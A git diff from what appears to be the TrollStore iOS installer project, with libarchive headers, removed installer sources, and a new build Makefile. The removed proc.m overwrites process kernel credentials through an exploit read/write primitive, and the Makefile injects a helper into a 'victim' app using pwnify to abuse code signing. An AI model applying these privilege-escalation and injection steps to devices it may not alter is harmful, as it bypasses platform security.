__LA_DECL int archive_entry_sparse_count(struct archive_entry *);
|
||||
__LA_DECL int archive_entry_sparse_reset(struct archive_entry *);
|
||||
__LA_DECL int archive_entry_sparse_next(struct archive_entry *,
|
||||
la_int64_t * /* offset */, la_int64_t * /* length */);
|
||||
|
||||
/*
|
||||
* Utility to match up hardlinks.
|
||||
*
|
||||
* The 'struct archive_entry_linkresolver' is a cache of archive entries
|
||||
* for files with multiple links. Here's how to use it:
|
||||
* 1. Create a lookup object with archive_entry_linkresolver_new()
|
||||
* 2. Tell it the archive format you're using.
|
||||
* 3. Hand each archive_entry to archive_entry_linkify().
|
||||
* That function will return 0, 1, or 2 entries that should
|
||||
* be written.
|
||||
* 4. Call archive_entry_linkify(resolver, NULL) until
|
||||
* no more entries are returned.
|
||||
* 5. Call archive_entry_linkresolver_free(resolver) to free resources.
|
||||
*
|
||||
* The entries returned have their hardlink and size fields updated
|
||||
* appropriately. If an entry is passed in that does not refer to
|
||||
* a file with multiple links, it is returned unchanged. The intention
|
||||
* is that you should be able to simply filter all entries through
|
||||
* this machine.
|
||||
*
|
||||
* To make things more efficient, be sure that each entry has a valid
|
||||
* nlinks value. The hardlink cache uses this to track when all links
|
||||
* have been found. If the nlinks value is zero, it will keep every
|
||||
* name in the cache indefinitely, which can use a lot of memory.
|
||||
*
|
||||
* Note that archive_entry_size() is reset to zero if the file
|
||||
* body should not be written to the archive. Pay attention!
|
||||
*/
|
||||
struct archive_entry_linkresolver;
|
||||
|
||||
/*
|
||||
* There are three different strategies for marking hardlinks.
|
||||
* The descriptions below name them after the best-known
|
||||
* formats that rely on each strategy:
|
||||
*
|
||||
* "Old cpio" is the simplest, it always returns any entry unmodified.
|
||||
* As far as I know, only cpio formats use this. Old cpio archives
|
||||
* store every link with the full body; the onus is on the dearchiver
|
||||
* to detect and properly link the files as they are restored.
|
||||
* "tar" is also pretty simple; it caches a copy the first time it sees
|
||||
* any link. Subsequent appearances are modified to be hardlink
|
||||
* references to the first one without any body. Used by all tar
|
||||
* formats, although the newest tar formats permit the "old cpio" strategy
|
||||
* as well. This strategy is very simple for the dearchiver,
|
||||
* and reasonably straightforward for the archiver.
|
||||
* "new cpio" is trickier. It stores the body only with the last
|
||||
* occurrence. The complication is that we might not
|
||||
* see every link to a particular file in a single session, so
|
||||
* there's no easy way to know when we've seen the last occurrence.
|
||||
* The solution here is to queue one link until we see the next.
|
||||
* At the end of the session, you can enumerate any remaining
|
||||
* entries by calling archive_entry_linkify(NULL) and store those
|
||||
* bodies. If you have a file with three links l1, l2, and l3,
|
||||
* you'll get the following behavior if you see all three links:
|
||||
* linkify(l1) => NULL (the resolver stores l1 internally)
|
||||
* linkify(l2) => l1 (resolver stores l2, you write l1)
|
||||
* linkify(l3) => l2, l3 (all links seen, you can write both).
|
||||
* If you only see l1 and l2, you'll get this behavior:
|
||||
* linkify(l1) => NULL
|
||||
* linkify(l2) => l1
|
||||
* linkify(NULL) => l2 (at end, you retrieve remaining links)
|
||||
* As the name suggests, this strategy is used by newer cpio variants.
|
||||
* It's noticeably more complex for the archiver, slightly more complex
|
||||
* for the dearchiver than the tar strategy, but makes it straightforward
|
||||
* to restore a file using any link by simply continuing to scan until
|
||||
* you see a link that is stored with a body. In contrast, the tar
|
||||
* strategy requires you to rescan the archive from the beginning to
|
||||
* correctly extract an arbitrary link.
|
||||
*/
|
||||
|
||||
__LA_DECL struct archive_entry_linkresolver *archive_entry_linkresolver_new(void);
|
||||
__LA_DECL void archive_entry_linkresolver_set_strategy(
|
||||
struct archive_entry_linkresolver *, int /* format_code */);
|
||||
__LA_DECL void archive_entry_linkresolver_free(struct archive_entry_linkresolver *);
|
||||
__LA_DECL void archive_entry_linkify(struct archive_entry_linkresolver *,
|
||||
struct archive_entry **, struct archive_entry **);
|
||||
__LA_DECL struct archive_entry *archive_entry_partial_links(
|
||||
struct archive_entry_linkresolver *res, unsigned int *links);
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
/* This is meaningless outside of this header. */
|
||||
#undef __LA_DECL
|
||||
|
||||
#endif /* !ARCHIVE_ENTRY_H_INCLUDED */
|
|
@ -1,53 +0,0 @@
|
|||
//
|
||||
// proc.h
|
||||
// fun15
|
||||
//
|
||||
// Created by Lars Fröder on 11.06.22.
|
||||
//
|
||||
|
||||
#ifndef proc_h
|
||||
#define proc_h
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
#if defined(__cplusplus)
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
struct k_posix_cred { // (96 bytes)
|
||||
uid_t cr_uid; // off=0x0
|
||||
uid_t cr_ruid; // off=0x20
|
||||
uid_t cr_svuid; // off=0x40
|
||||
u_short cr_ngroups; // off=0x60
|
||||
u_short __cr_padding; // off=0x70
|
||||
gid_t cr_groups[16]; // off=0x80
|
||||
gid_t cr_rgid; // off=0x280
|
||||
gid_t cr_svgid; // off=0x2a0
|
||||
uid_t cr_gmuid; // off=0x2c0
|
||||
int cr_flags; // off=0x2e0
|
||||
};
|
||||
|
||||
struct k_label { // (64 bytes)
|
||||
int l_flags; // off=0x0
|
||||
int l_perpolicy[7]; // off=0x40
|
||||
};
|
||||
|
||||
struct k_ucred { // (144 bytes)
|
||||
struct { // (16 bytes)
|
||||
struct k_ucred * le_next; // off=0x0
|
||||
struct k_ucred * * le_prev; // off=0x40
|
||||
} cr_link; // off=0x0
|
||||
u_long cr_ref; // off=0x80
|
||||
struct k_posix_cred cr_posix; // off=0xc0
|
||||
struct k_label cr_label; // off=0x3c0
|
||||
struct au_session cr_audit; // off=0x400
|
||||
};
|
||||
|
||||
extern void proc_set_posix_cred(uint64_t proc, struct k_posix_cred posix_cred);
|
||||
extern struct k_posix_cred proc_get_posix_cred(uint64_t proc);
|
||||
|
||||
#if defined(__cplusplus)
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif /* proc_h */
|
|
@ -1,31 +0,0 @@
|
|||
//
|
||||
// proc.m
|
||||
// fun15
|
||||
//
|
||||
// Created by Lars Fröder on 11.06.22.
|
||||
//
|
||||
|
||||
#import "kutil.h"
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
#import "KernelManager.h"
|
||||
#import "exploit/xpaci.h"
|
||||
|
||||
struct k_posix_cred proc_get_posix_cred(uint64_t proc)
|
||||
{
|
||||
struct k_posix_cred pcred = {0};
|
||||
KernelManager* km = [KernelManager sharedInstance];
|
||||
uint64_t ucred = xpaci([km read64BitValueAtAddress:proc + km.struct_offsets.proc.ucred_offset]);
|
||||
uint64_t posix_cred_kptr = ucred + km.struct_offsets.ucred.posix_offset;
|
||||
[km readBufferAtAddress:posix_cred_kptr intoBuffer:&pcred withLength:sizeof(struct k_posix_cred)];
|
||||
return pcred;
|
||||
}
|
||||
|
||||
void proc_set_posix_cred(uint64_t proc, struct k_posix_cred posix_cred)
|
||||
{
|
||||
KernelManager* km = [KernelManager sharedInstance];
|
||||
uint64_t ucred = xpaci([km read64BitValueAtAddress:proc + km.struct_offsets.proc.ucred_offset]);
|
||||
uint64_t posix_cred_kptr = ucred + km.struct_offsets.ucred.posix_offset;
|
||||
[km writeBuffer:&posix_cred withLength:sizeof(struct k_posix_cred) toAddress:posix_cred_kptr];
|
||||
}
|
|
@ -1,18 +0,0 @@
|
|||
//
|
||||
// main.m
|
||||
// TrollInstaller
|
||||
//
|
||||
// Created by Lars Fröder on 17.08.22.
|
||||
//
|
||||
|
||||
#import <UIKit/UIKit.h>
|
||||
#import "AppDelegate.h"
|
||||
|
||||
int main(int argc, char * argv[]) {
|
||||
NSString * appDelegateClassName;
|
||||
@autoreleasepool {
|
||||
// Setup code that might create autoreleased objects goes here.
|
||||
appDelegateClassName = NSStringFromClass([AppDelegate class]);
|
||||
}
|
||||
return UIApplicationMain(argc, argv, nil, appDelegateClassName);
|
||||
}
|
|
@ -1,15 +0,0 @@
|
|||
//
|
||||
// unarchive.h
|
||||
// TrollInstaller
|
||||
//
|
||||
// Created by Lars Fröder on 02.09.22.
|
||||
//
|
||||
|
||||
#ifndef unarchive_h
|
||||
#define unarchive_h
|
||||
|
||||
@import Foundation;
|
||||
|
||||
extern int extract(NSString* fileToExtract, NSString* extractionPath);
|
||||
|
||||
#endif /* unarchive_h */
|
|
@ -1,94 +0,0 @@
|
|||
//
|
||||
// unarchive.m
|
||||
// TrollInstaller
|
||||
//
|
||||
// Created by Lars Fröder on 02.09.22.
|
||||
//
|
||||
|
||||
#import "unarchive.h"
|
||||
|
||||
#include "headers/archive.h"
|
||||
#include "headers/archive_entry.h"
|
||||
|
||||
static int
|
||||
copy_data(struct archive *ar, struct archive *aw)
|
||||
{
|
||||
int r;
|
||||
const void *buff;
|
||||
size_t size;
|
||||
la_int64_t offset;
|
||||
|
||||
for (;;) {
|
||||
r = archive_read_data_block(ar, &buff, &size, &offset);
|
||||
if (r == ARCHIVE_EOF)
|
||||
return (ARCHIVE_OK);
|
||||
if (r < ARCHIVE_OK)
|
||||
return (r);
|
||||
r = archive_write_data_block(aw, buff, size, offset);
|
||||
if (r < ARCHIVE_OK) {
|
||||
fprintf(stderr, "%s\n", archive_error_string(aw));
|
||||
return (r);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int extract(NSString* fileToExtract, NSString* extractionPath)
|
||||
{
|
||||
struct archive *a;
|
||||
struct archive *ext;
|
||||
struct archive_entry *entry;
|
||||
int flags;
|
||||
int r;
|
||||
|
||||
/* Select which attributes we want to restore. */
|
||||
flags = ARCHIVE_EXTRACT_TIME;
|
||||
flags |= ARCHIVE_EXTRACT_PERM;
|
||||
flags |= ARCHIVE_EXTRACT_ACL;
|
||||
flags |= ARCHIVE_EXTRACT_FFLAGS;
|
||||
|
||||
a = archive_read_new();
|
||||
archive_read_support_format_all(a);
|
||||
archive_read_support_filter_all(a);
|
||||
ext = archive_write_disk_new();
|
||||
archive_write_disk_set_options(ext, flags);
|
||||
archive_write_disk_set_standard_lookup(ext);
|
||||
if ((r = archive_read_open_filename(a, fileToExtract.UTF8String, 10240)))
|
||||
return 1;
|
||||
for (;;)
|
||||
{
|
||||
r = archive_read_next_header(a, &entry);
|
||||
if (r == ARCHIVE_EOF)
|
||||
break;
|
||||
if (r < ARCHIVE_OK)
|
||||
fprintf(stderr, "%s\n", archive_error_string(a));
|
||||
if (r < ARCHIVE_WARN)
|
||||
return 1;
|
||||
|
||||
NSString* currentFile = [NSString stringWithUTF8String:archive_entry_pathname(entry)];
|
||||
NSString* fullOutputPath = [extractionPath stringByAppendingPathComponent:currentFile];
|
||||
//printf("extracting %s to %s\n", currentFile.UTF8String, fullOutputPath.UTF8String);
|
||||
archive_entry_set_pathname(entry, fullOutputPath.UTF8String);
|
||||
|
||||
r = archive_write_header(ext, entry);
|
||||
if (r < ARCHIVE_OK)
|
||||
fprintf(stderr, "%s\n", archive_error_string(ext));
|
||||
else if (archive_entry_size(entry) > 0) {
|
||||
r = copy_data(a, ext);
|
||||
if (r < ARCHIVE_OK)
|
||||
fprintf(stderr, "%s\n", archive_error_string(ext));
|
||||
if (r < ARCHIVE_WARN)
|
||||
return 1;
|
||||
}
|
||||
r = archive_write_finish_entry(ext);
|
||||
if (r < ARCHIVE_OK)
|
||||
fprintf(stderr, "%s\n", archive_error_string(ext));
|
||||
if (r < ARCHIVE_WARN)
|
||||
return 1;
|
||||
}
|
||||
archive_read_close(a);
|
||||
archive_read_free(a);
|
||||
archive_write_close(ext);
|
||||
archive_write_free(ext);
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -1,3 +0,0 @@
|
|||
.theos/
|
||||
packages/
|
||||
.DS_Store
|
|
@ -1,17 +0,0 @@
|
|||
TARGET := iphone:clang:14.5:14.0
|
||||
INSTALL_TARGET_PROCESSES = TrollInstaller2
|
||||
ARCHS = arm64 arm64e
|
||||
|
||||
include $(THEOS)/makefiles/common.mk
|
||||
|
||||
APPLICATION_NAME = TrollInstaller2
|
||||
|
||||
TrollInstaller2_FILES = main.m $(wildcard *.m) $(wildcard ../../Helper/*.m) ../../Store/TSListControllerShared.m ../../Store/TSUtil.m
|
||||
TrollInstaller2_FRAMEWORKS = UIKit CoreGraphics CoreServices
|
||||
TrollInstaller2_PRIVATE_FRAMEWORKS = Preferences
|
||||
TrollInstaller2_LIBRARIES = archive
|
||||
TrollInstaller2_CFLAGS = -fobjc-arc -fmodules -DINSTALLER_EMBEDDED=1
|
||||
TrollInstaller2_PRIVATE_FRAMEWORKS = SpringBoardServices BackBoardServices
|
||||
TrollInstaller2_CODESIGN_FLAGS = -Sentitlements.plist
|
||||
|
||||
include $(THEOS_MAKE_PATH)/application.mk
|
|
@ -1,154 +0,0 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>CFBundleExecutable</key>
|
||||
<string>TrollInstaller2</string>
|
||||
<key>CFBundleIcons</key>
|
||||
<dict>
|
||||
<key>CFBundlePrimaryIcon</key>
|
||||
<dict>
|
||||
<key>CFBundleIconFiles</key>
|
||||
<array>
|
||||
<string>AppIcon29x29</string>
|
||||
<string>AppIcon40x40</string>
|
||||
<string>AppIcon57x57</string>
|
||||
<string>AppIcon60x60</string>
|
||||
</array>
|
||||
<key>UIPrerenderedIcon</key>
|
||||
<true/>
|
||||
</dict>
|
||||
</dict>
|
||||
<key>CFBundleIcons~ipad</key>
|
||||
<dict>
|
||||
<key>CFBundlePrimaryIcon</key>
|
||||
<dict>
|
||||
<key>CFBundleIconFiles</key>
|
||||
<array>
|
||||
<string>AppIcon29x29</string>
|
||||
<string>AppIcon40x40</string>
|
||||
<string>AppIcon57x57</string>
|
||||
<string>AppIcon60x60</string>
|
||||
<string>AppIcon50x50</string>
|
||||
<string>AppIcon72x72</string>
|
||||
<string>AppIcon76x76</string>
|
||||
</array>
|
||||
<key>UIPrerenderedIcon</key>
|
||||
<true/>
|
||||
</dict>
|
||||
</dict>
|
||||
<key>CFBundleIdentifier</key>
|
||||
<string>com.opa334.trollinstaller2</string>
|
||||
<key>CFBundleInfoDictionaryVersion</key>
|
||||
<string>6.0</string>
|
||||
<key>CFBundlePackageType</key>
|
||||
<string>APPL</string>
|
||||
<key>CFBundleSignature</key>
|
||||
<string>????</string>
|
||||
<key>CFBundleSupportedPlatforms</key>
|
||||
<array>
|
||||
<string>iPhoneOS</string>
|
||||
</array>
|
||||
<key>CFBundleVersion</key>
|
||||
<string>1.0</string>
|
||||
<key>LSRequiresIPhoneOS</key>
|
||||
<true/>
|
||||
<key>UIDeviceFamily</key>
|
||||
<array>
|
||||
<integer>1</integer>
|
||||
<integer>2</integer>
|
||||
</array>
|
||||
<key>UIRequiredDeviceCapabilities</key>
|
||||
<array>
|
||||
<string>armv7</string>
|
||||
</array>
|
||||
<key>UILaunchImageFile</key>
|
||||
<string>LaunchImage</string>
|
||||
<key>UILaunchImages</key>
|
||||
<array>
|
||||
<dict>
|
||||
<key>UILaunchImageMinimumOSVersion</key>
|
||||
<string>7.0</string>
|
||||
<key>UILaunchImageName</key>
|
||||
<string>LaunchImage</string>
|
||||
<key>UILaunchImageOrientation</key>
|
||||
<string>Portrait</string>
|
||||
<key>UILaunchImageSize</key>
|
||||
<string>{320, 480}</string>
|
||||
</dict>
|
||||
<dict>
|
||||
<key>UILaunchImageMinimumOSVersion</key>
|
||||
<string>7.0</string>
|
||||
<key>UILaunchImageName</key>
|
||||
<string>LaunchImage-700-568h</string>
|
||||
<key>UILaunchImageOrientation</key>
|
||||
<string>Portrait</string>
|
||||
<key>UILaunchImageSize</key>
|
||||
<string>{320, 568}</string>
|
||||
</dict>
|
||||
<dict>
|
||||
<key>UILaunchImageMinimumOSVersion</key>
|
||||
<string>7.0</string>
|
||||
<key>UILaunchImageName</key>
|
||||
<string>LaunchImage-Portrait</string>
|
||||
<key>UILaunchImageOrientation</key>
|
||||
<string>Portrait</string>
|
||||
<key>UILaunchImageSize</key>
|
||||
<string>{768, 1024}</string>
|
||||
</dict>
|
||||
<dict>
|
||||
<key>UILaunchImageMinimumOSVersion</key>
|
||||
<string>7.0</string>
|
||||
<key>UILaunchImageName</key>
|
||||
<string>LaunchImage-Landscape</string>
|
||||
<key>UILaunchImageOrientation</key>
|
||||
<string>Landscape</string>
|
||||
<key>UILaunchImageSize</key>
|
||||
<string>{768, 1024}</string>
|
||||
</dict>
|
||||
<dict>
|
||||
<key>UILaunchImageMinimumOSVersion</key>
|
||||
<string>8.0</string>
|
||||
<key>UILaunchImageName</key>
|
||||
<string>LaunchImage-800-667h</string>
|
||||
<key>UILaunchImageOrientation</key>
|
||||
<string>Portrait</string>
|
||||
<key>UILaunchImageSize</key>
|
||||
<string>{375, 667}</string>
|
||||
</dict>
|
||||
<dict>
|
||||
<key>UILaunchImageMinimumOSVersion</key>
|
||||
<string>8.0</string>
|
||||
<key>UILaunchImageName</key>
|
||||
<string>LaunchImage-800-Portrait-736h</string>
|
||||
<key>UILaunchImageOrientation</key>
|
||||
<string>Portrait</string>
|
||||
<key>UILaunchImageSize</key>
|
||||
<string>{414, 736}</string>
|
||||
</dict>
|
||||
<dict>
|
||||
<key>UILaunchImageMinimumOSVersion</key>
|
||||
<string>8.0</string>
|
||||
<key>UILaunchImageName</key>
|
||||
<string>LaunchImage-800-Landscape-736h</string>
|
||||
<key>UILaunchImageOrientation</key>
|
||||
<string>Landscape</string>
|
||||
<key>UILaunchImageSize</key>
|
||||
<string>{414, 736}</string>
|
||||
</dict>
|
||||
</array>
|
||||
<key>UISupportedInterfaceOrientations</key>
|
||||
<array>
|
||||
<string>UIInterfaceOrientationPortrait</string>
|
||||
<string>UIInterfaceOrientationLandscapeLeft</string>
|
||||
<string>UIInterfaceOrientationLandscapeRight</string>
|
||||
</array>
|
||||
<key>UISupportedInterfaceOrientations~ipad</key>
|
||||
<array>
|
||||
<string>UIInterfaceOrientationPortrait</string>
|
||||
<string>UIInterfaceOrientationPortraitUpsideDown</string>
|
||||
<string>UIInterfaceOrientationLandscapeLeft</string>
|
||||
<string>UIInterfaceOrientationLandscapeRight</string>
|
||||
</array>
|
||||
</dict>
|
||||
</plist>
|
|
@ -1,7 +0,0 @@
|
|||
|
||||
#import <UIKit/UIKit.h>
|
||||
|
||||
@interface TSI2AppDelegateNoScene : UIResponder <UIApplicationDelegate>
|
||||
@property (nonatomic, strong) UIWindow *window;
|
||||
@property (nonatomic, strong) UINavigationController *rootViewController;
|
||||
@end
|
|
@ -1,14 +0,0 @@
|
|||
#import "TSI2AppDelegateNoScene.h"
|
||||
#import "TSI2RootViewController.h"
|
||||
|
||||
@implementation TSI2AppDelegateNoScene
|
||||
|
||||
- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
|
||||
_window = [[UIWindow alloc] initWithFrame:[UIScreen mainScreen].bounds];
|
||||
_rootViewController = [[UINavigationController alloc] initWithRootViewController:[[TSI2RootViewController alloc] init]];
|
||||
_window.rootViewController = _rootViewController;
|
||||
[_window makeKeyAndVisible];
|
||||
return YES;
|
||||
}
|
||||
|
||||
@end
|
|
@ -1,6 +0,0 @@
|
|||
|
||||
#import <UIKit/UIKit.h>
|
||||
|
||||
@interface TSI2AppDelegateWithScene : UIResponder <UIApplicationDelegate>
|
||||
|
||||
@end
|
|
@ -1,7 +0,0 @@
|
|||
#import "../../Store/TSListControllerShared.h"
|
||||
|
||||
@interface TSI2RootViewController : TSListControllerShared
|
||||
{
|
||||
NSString* _newerVersion;
|
||||
}
|
||||
@end
|
|
@ -1,96 +0,0 @@
|
|||
#import "TSI2RootViewController.h"
|
||||
#import "../../Helper/Shared.h"
|
||||
#import "../../Store/TSUtil.h"
|
||||
|
||||
@implementation TSI2RootViewController
|
||||
|
||||
- (NSMutableArray*)specifiers
|
||||
{
|
||||
if(!_specifiers)
|
||||
{
|
||||
_specifiers = [NSMutableArray new];
|
||||
|
||||
BOOL isInstalled = trollStoreAppPath();
|
||||
|
||||
PSSpecifier* utilitiesGroupSpecifier = [PSSpecifier emptyGroupSpecifier];
|
||||
[_specifiers addObject:utilitiesGroupSpecifier];
|
||||
[utilitiesGroupSpecifier setProperty:@"Based on the Fugu15 install method\nMassive shoutouts to @LinusHenze\n\n© 2022 Lars Fröder (opa334)" forKey:@"footerText"];
|
||||
|
||||
if(isInstalled)
|
||||
{
|
||||
PSSpecifier* alreadyInstalledSpecifier = [PSSpecifier preferenceSpecifierNamed:@"TrollStore already installed"
|
||||
target:self
|
||||
set:nil
|
||||
get:nil
|
||||
detail:nil
|
||||
cell:PSStaticTextCell
|
||||
edit:nil];
|
||||
alreadyInstalledSpecifier.identifier = @"alreadyInstalled";
|
||||
[alreadyInstalledSpecifier setProperty:@YES forKey:@"enabled"];
|
||||
[_specifiers addObject:alreadyInstalledSpecifier];
|
||||
}
|
||||
else
|
||||
{
|
||||
PSSpecifier* installTrollStoreSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Install TrollStore"
|
||||
target:self
|
||||
set:nil
|
||||
get:nil
|
||||
detail:nil
|
||||
cell:PSButtonCell
|
||||
edit:nil];
|
||||
installTrollStoreSpecifier.identifier = @"installTrollStore";
|
||||
[installTrollStoreSpecifier setProperty:@YES forKey:@"enabled"];
|
||||
installTrollStoreSpecifier.buttonAction = @selector(installTrollStorePressed);
|
||||
[_specifiers addObject:installTrollStoreSpecifier];
|
||||
}
|
||||
}
|
||||
|
||||
[(UINavigationItem *)self.navigationItem setTitle:@"TrollStore Installer 2"];
|
||||
return _specifiers;
|
||||
}
|
||||
|
||||
extern NSString* safe_getExecutablePath();
|
||||
- (void)installTrollStorePressed
|
||||
{
|
||||
[self startActivity:@"Installing TrollStore"];
|
||||
|
||||
[self downloadTrollStoreAndDo:^(NSString* tmpTarPath)
|
||||
{
|
||||
int ret = spawnRoot(safe_getExecutablePath(), @[@"install-trollstore", tmpTarPath], nil, nil);
|
||||
[[NSFileManager defaultManager] removeItemAtPath:tmpTarPath error:nil];
|
||||
if(ret == 0)
|
||||
{
|
||||
respring();
|
||||
|
||||
if([self isTrollStore])
|
||||
{
|
||||
exit(0);
|
||||
}
|
||||
else
|
||||
{
|
||||
dispatch_async(dispatch_get_main_queue(), ^
|
||||
{
|
||||
[self stopActivityWithCompletion:^
|
||||
{
|
||||
[self reloadSpecifiers];
|
||||
}];
|
||||
});
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
dispatch_async(dispatch_get_main_queue(), ^
|
||||
{
|
||||
[self stopActivityWithCompletion:^
|
||||
{
|
||||
UIAlertController* errorAlert = [UIAlertController alertControllerWithTitle:@"Error" message:[NSString stringWithFormat:@"Error installing TrollStore: trollstorehelper returned %d", ret] preferredStyle:UIAlertControllerStyleAlert];
|
||||
UIAlertAction* closeAction = [UIAlertAction actionWithTitle:@"Close" style:UIAlertActionStyleDefault handler:nil];
|
||||
[errorAlert addAction:closeAction];
|
||||
[self presentViewController:errorAlert animated:YES completion:nil];
|
||||
}];
|
||||
});
|
||||
}
|
||||
}];
|
||||
}
|
||||
|
||||
@end
|
|
@ -1,8 +0,0 @@
|
|||
Package: com.opa334.trollinstaller2
|
||||
Name: TrollInstaller2
|
||||
Version: 2.0.0
|
||||
Architecture: iphoneos-arm
|
||||
Description: TrollInstaller v2!
|
||||
Maintainer: opa334
|
||||
Author: opa334
|
||||
Section: Utilities
|
6
LICENSE
|
@ -7,16 +7,12 @@ Files: *
|
|||
Copyright: 2022 Lars Fröder
|
||||
License: MIT
|
||||
|
||||
Files: Helper/uicache.m
|
||||
Files: RootHelper/uicache.m
|
||||
Copyright: Copyright (c) 2019 CoolStar,
|
||||
Modified work Copyright (c) 2020-2022 Procursus Team <team@procurs.us>
|
||||
Modified work Copyright (c) 2022 Lars Fröder <opa334@protonmail.com>
|
||||
License: BSD-4-Clause
|
||||
|
||||
Files: Installer/TrollInstaller/exploit
|
||||
Copyright: Copyright (c) 2022 John Åkerblom,
|
||||
License: All rights reserved
|
||||
|
||||
License: BSD-4-Clause
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions
|
||||
|
|
|
@ -0,0 +1,68 @@
|
|||
TOPTARGETS := all clean
|
||||
|
||||
$(TOPTARGETS): pre-build make_roothelper make_trollstore make_trollhelper make_trollhelper_package assemble_trollstore make_trollhelper_embedded build_installer15 build_installer64e
|
||||
|
||||
pre-build:
|
||||
@rm -rf ./_build 2>/dev/null || true
|
||||
@mkdir -p ./_build
|
||||
|
||||
make_roothelper:
|
||||
@$(MAKE) -C ./RootHelper FINALPACKAGE=1 $(MAKECMDGOALS)
|
||||
|
||||
make_trollstore:
|
||||
@$(MAKE) -C ./TrollStore FINALPACKAGE=1 $(MAKECMDGOALS)
|
||||
|
||||
make_trollhelper:
|
||||
@$(MAKE) -C ./TrollStore FINALPACKAGE=1 $(MAKECMDGOALS)
|
||||
|
||||
ifneq ($(MAKECMDGOALS),clean)
|
||||
|
||||
make_trollhelper_package:
|
||||
@$(MAKE) clean -C ./TrollHelper
|
||||
@cp ./RootHelper/.theos/obj/trollstorehelper ./TrollHelper/Resources/trollstorehelper
|
||||
@$(MAKE) -C ./TrollHelper FINALPACKAGE=1 package $(MAKECMDGOALS)
|
||||
@rm ./TrollHelper/Resources/trollstorehelper
|
||||
|
||||
make_trollhelper_embedded:
|
||||
@$(MAKE) clean -C ./TrollHelper
|
||||
@$(MAKE) -C ./TrollHelper FINALPACKAGE=1 EMBEDDED_ROOT_HELPER=1 $(MAKECMDGOALS)
|
||||
|
||||
assemble_trollstore:
|
||||
@cp cert.p12 ./TrollStore/.theos/obj/TrollStore.app/cert.p12
|
||||
@cp ./RootHelper/.theos/obj/trollstorehelper ./TrollStore/.theos/obj/TrollStore.app/trollstorehelper
|
||||
@cp ./TrollHelper/.theos/obj/TrollStorePersistenceHelper.app/TrollStorePersistenceHelper ./TrollStore/.theos/obj/TrollStore.app/PersistenceHelper
|
||||
@export COPYFILE_DISABLE=1
|
||||
@tar -czvf ./_build/TrollStore.tar -C ./TrollStore/.theos/obj TrollStore.app
|
||||
|
||||
build_installer15:
|
||||
@mkdir -p ./_build/tmp15
|
||||
@unzip ./Victim/InstallerVictim.ipa -d ./_build/tmp15
|
||||
@cp ./TrollHelper/.theos/obj/TrollStorePersistenceHelper.app/TrollStorePersistenceHelper ./_build/TrollStorePersistenceHelperToInject
|
||||
@pwnify set-cpusubtype ./_build/TrollStorePersistenceHelperToInject 1
|
||||
@ldid -s -K./Victim/victim_gta.p12 ./_build/TrollStorePersistenceHelperToInject
|
||||
APP_PATH=$$(find ./_build/tmp15/Payload -name "*" -depth 1) ; \
|
||||
APP_NAME=$$(basename $$APP_PATH) ; \
|
||||
BINARY_NAME=$$(echo "$$APP_NAME" | cut -f 1 -d '.') ; \
|
||||
echo $$BINARY_NAME ; \
|
||||
pwnify pwn ./_build/tmp15/Payload/$$APP_NAME/$$BINARY_NAME ./_build/TrollStorePersistenceHelperToInject
|
||||
@pushd ./_build/tmp15 ; \
|
||||
zip -vrD ../../_build/TrollHelper_iOS15.ipa * ; \
|
||||
popd
|
||||
@rm ./_build/TrollStorePersistenceHelperToInject
|
||||
@rm -rf ./_build/tmp15
|
||||
|
||||
build_installer64e:
|
||||
@mkdir -p ./_build/tmp64e
|
||||
@unzip ./Victim/InstallerVictim.ipa -d ./_build/tmp64e
|
||||
APP_PATH=$$(find ./_build/tmp64e/Payload -name "*" -depth 1) ; \
|
||||
APP_NAME=$$(basename $$APP_PATH) ; \
|
||||
BINARY_NAME=$$(echo "$$APP_NAME" | cut -f 1 -d '.') ; \
|
||||
echo $$BINARY_NAME ; \
|
||||
pwnify pwn64e ./_build/tmp64e/Payload/$$APP_NAME/$$BINARY_NAME ./TrollHelper/.theos/obj/TrollStorePersistenceHelper.app/TrollStorePersistenceHelper
|
||||
@pushd ./_build/tmp64e ; \
|
||||
zip -vrD ../../_build/TrollHelper_arm64e.ipa * ; \
|
||||
popd
|
||||
@rm -rf ./_build/tmp64e
|
||||
endif
|
||||
|
||||
.PHONY: $(TOPTARGETS) pre-build assemble_trollstore make_trollhelper_package make_trollhelper_embedded build_installer15 build_installer64e
|
|
@ -1,17 +0,0 @@
|
|||
TARGET := iphone:clang:14.5:14.0
|
||||
INSTALL_TARGET_PROCESSES = TrollStorePersistenceHelper
|
||||
|
||||
include $(THEOS)/makefiles/common.mk
|
||||
|
||||
APPLICATION_NAME = TrollStorePersistenceHelper
|
||||
|
||||
TrollStorePersistenceHelper_FILES = $(wildcard *.m) ../Helper/Shared.m ../Store/TSUtil.m ../Store/TSListControllerShared.m
|
||||
TrollStorePersistenceHelper_FRAMEWORKS = UIKit CoreGraphics CoreServices
|
||||
TrollStorePersistenceHelper_PRIVATE_FRAMEWORKS = Preferences
|
||||
TrollStorePersistenceHelper_CFLAGS = -fobjc-arc
|
||||
TrollStorePersistenceHelper_CODESIGN_FLAGS = -Sentitlements.plist
|
||||
|
||||
include $(THEOS_MAKE_PATH)/application.mk
|
||||
|
||||
internal-stage::
|
||||
ldid -S -M -K../_compile/cert.p12 $(THEOS_STAGING_DIR)/Applications/TrollStorePersistenceHelper.app/TrollStorePersistenceHelper
|
|
@ -1,7 +0,0 @@
|
|||
#import "../Store/TSListControllerShared.h"
|
||||
|
||||
@interface TSPHRootViewController : TSListControllerShared
|
||||
{
|
||||
NSString* _newerVersion;
|
||||
}
|
||||
@end
|
|
@ -1,41 +0,0 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
